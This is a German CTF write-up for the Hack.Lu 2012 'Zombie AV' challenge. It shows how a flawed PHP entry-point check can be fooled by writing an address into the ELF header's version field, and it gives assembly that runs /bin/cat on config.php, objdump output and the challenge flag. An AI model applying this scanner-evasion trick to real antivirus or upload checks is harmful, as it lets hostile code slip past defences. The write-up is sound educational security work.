Hack.Lu CTF 2012 –
Zombie AV Part 2

Im weiteren Verlauf des Capture the Flags wurde die Challenge “Zombie AV” abgeändert, wohlmöglich um sie schwerer oder leichter zu machen. Die vorher vorgestelte Lösung funktioniert ab diesem Zeitpunkt nicht mehr.

Grund dafür ist eine Änderung im Quellcode der Datei “elfparsing.php”, die sich folgerndermaßen darstellt:

function getEntryPoint($contents) { 
  global $readelfpath; 
  global $objdumppath;     

  $output=shell_exec($readelfpath.' -h '.$contents);  

  $data = preg_match( '/0x[a-fA-F0-9]{5,8}/', $output,$matches); 
  //$retValue=(hexdec($matches[0]) & 4294967288); 
  $retValue=hexdec($matches[0]); 
  return ($retValue ); 
}

Zeile 8 wurde auskommentiert(!!), was dazu führt, dass der Entry point und der Beginn der “Zombie-Opcodes” vom Scanner nun einheitlich betrachtet werden. Wir müssen also eine andere Lösung finden.

Die Schwachstelle ist jedoch immernoch die obige “getEntryPoint”-Funktion, da weiterhin einfach nur die erstbeste hexadezimale Speicheradresse der Ausgabe des Tools “readelf -h” per regulärem Ausdruck zur Überprüfung der Opcodes herangezogen wird (Zeile 7).

Wenn wir es also schaffen, eine weitere Speicheradresse vor den Entry Point in die Ausgabe von “readelf” zu schleusen, wird der “Zombie-Opcode” an dieser Adresse vom Scanner gesucht werden. Wir sehen uns dazu die Ausgabe von “readelf -h” etwas genauer an:

rup0rt@lambda:~$ readelf -h virus2
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048062
  Start of program headers:          52 (bytes into file)
  Start of section headers:          144 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         1
  Size of section headers:           40 (bytes)
  Number of section headers:         5
  Section header string table index: 2

Da die Adresse oberhalb des eigentlichen Entry Points liegen muss, scheint auf den ersten Blick nur das Feld “Version” zur Manipulation geeignet, da die anderen Felder Einfluss auf die Interpretation als 32bit ELF-Binary, und so wohlmöglich auf deren Ausführung, zu haben scheinen.

Dies bestätigt auch ein Blick in den “ELF File Header“, der oberhalb des Entry Points nur einen einzigen 4-Byte-Datentyp (der wegen der Größe für eine Adresse benötigt wird) bereit hält. Dabei handelt es sich um die bereits erkannte “Version”.

/* ELF File Header */
typedef struct
{
  unsigned char e_ident[EI_NIDENT];     /* Magic number and other info */
  Elf32_Half    e_type;                 /* Object file type */
  Elf32_Half    e_machine;              /* Architecture */
  Elf32_Word e_version; /* Object file version */
  Elf32_Addr    e_entry;                /* Entry point virtual address */
  Elf32_Off     e_phoff;                /* Program header table file offset */
  Elf32_Off     e_shoff;                /* Section header table file offset */
  Elf32_Word    e_flags;                /* Processor-specific flags */
  Elf32_Half    e_ehsize;               /* ELF header size in bytes */
  Elf32_Half    e_phentsize;            /* Program header table entry size */
  Elf32_Half    e_phnum;                /* Program header table entry count */
  Elf32_Half    e_shentsize;            /* Section header table entry size */
  Elf32_Half    e_shnum;                /* Section header table entry count */
  Elf32_Half    e_shstrndx;             /* Section header string table index */
} Elf32_Ehdr;

Da EI_NIDENT (der ELF-Magic) 16 Bytes groß ist, muss sich die Version bei Byte Nummer 16+2+2 = 20 befinden. Dieses Ändern wir nun testweise mit einem dem Hex-Editor “bless” auf 0x41414141.

Hack.Lu CTF 2012 - Zombie AV - elf header version manipulation

Die anschließende Überprüfung mit dem Tool “readelf” führt zu folgender Ausgabe:

rup0rt@lambda:~$ readelf -h virus2
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x41414141
  Entry point address:               0x8048062
  Start of program headers:          52 (bytes into file)
  Start of section headers:          144 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         1
  Size of section headers:           40 (bytes)
  Number of section headers:         5
  Section header string table index: 2

Es funktioniert und die Datei ist weiterhin ausführbar! Damit steht der weitere Weg fest. Wir schreiben ein Programm, dass uns die Zieldatei “config.php” ausgibt und das einen korrekten Entry Point besitzt. An das Ende unseres Codes packen wir den “Zombie-Virus” und lassen das “Version”-Feld im ELF-Header auf den Beginn der “Zombie-Opcodes” zeigen.

Der Viren-Scanner müsste so den “Zombie-Virus” erkennen und bei Ausführung dennoch unseren Code ausführen. Wie verändern unseren Assembler-Quellcode daher wie folgt:

BITS 32

section .text
        global _start

_start:
xor eax, eax       ; eax = 0
push eax           ; Null-Word zum Ende des Strings
push 0x7461632f    ; STRING: tac/
push 0x6e69622f    ; STRING: nib/
mov ebx, esp       ; POINTER auf /bin/cat in EBX
push eax           ; Null-Word zum Ende des Strings
push 0x7068702e    ; STRING: php.
push 0x6769666e    ; STRING: gifn
push 0x6f632f2e    ; STRING: oc/.
mov ecx, esp       ; POINTER auf ./config.php in ECX
push eax           ; NULL als Teil der Argv-Liste
push ecx           ; "./config.php" als Teil der Argv-Liste
push ebx           ; FILENAME = "/bin/cat"
mov ecx, esp       ; POINTER auf ARGV[] in ECX
mov byte al, 0xb   ; SYSCALL 11 = EXECVE
int 0x80           ; execve("/bin/cat/", [ "/bin/cat", "./config.php", NULL ], NULL);

; ZOMBIE-VIRUS
mov BYTE al, 0x1
nop
nop
nop
nop
nop
nop
nop
nop
int 0x80

Nach dem Kompilieren muss nun noch die Position ermittelt werden, an der sich der “Zombie-Virus” befindet. Dazu benutzen wir das Tool “objdump”.

rup0rt@lambda:~$ objdump -d virus3

virus3:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
[...]
 8048086:       b0 0b                   mov    $0xb,%al
 8048088:       cd 80                   int    $0x80
 804808a:       b0 01                   mov    $0x1,%al
 804808c:       90                      nop
 804808d:       90                      nop
[...]

Der “Zombie-Opcode” beginnt also bei Adresse 0x0804808a. Mit dieser Adresse ersetzen wir, wie oben, die Version im ELF-Header. Dabei ist zu beachten, dass die Adresse in Little-Endian-Schreibweise in die Datei übernommen wird.

Demnach ergibt sich folgende Datei, die wir nun wieder an den online Viren-Scanner übergeben können. Als Antwort wird geliefert:

Hack.Lu CTF 2012 - Zombie AV - solution 2

Auch hierbei konnte also der Viren-Scanner “überlistet” und unser Code, der den Inhalt der Datei “config.php” offenbart, zur Ausführung gebracht werden.

Die Lösung lautet “55c4080daefb5f794c3527101882b50b“.

Leave a Reply

Your email address will not be published. Required fields are marked *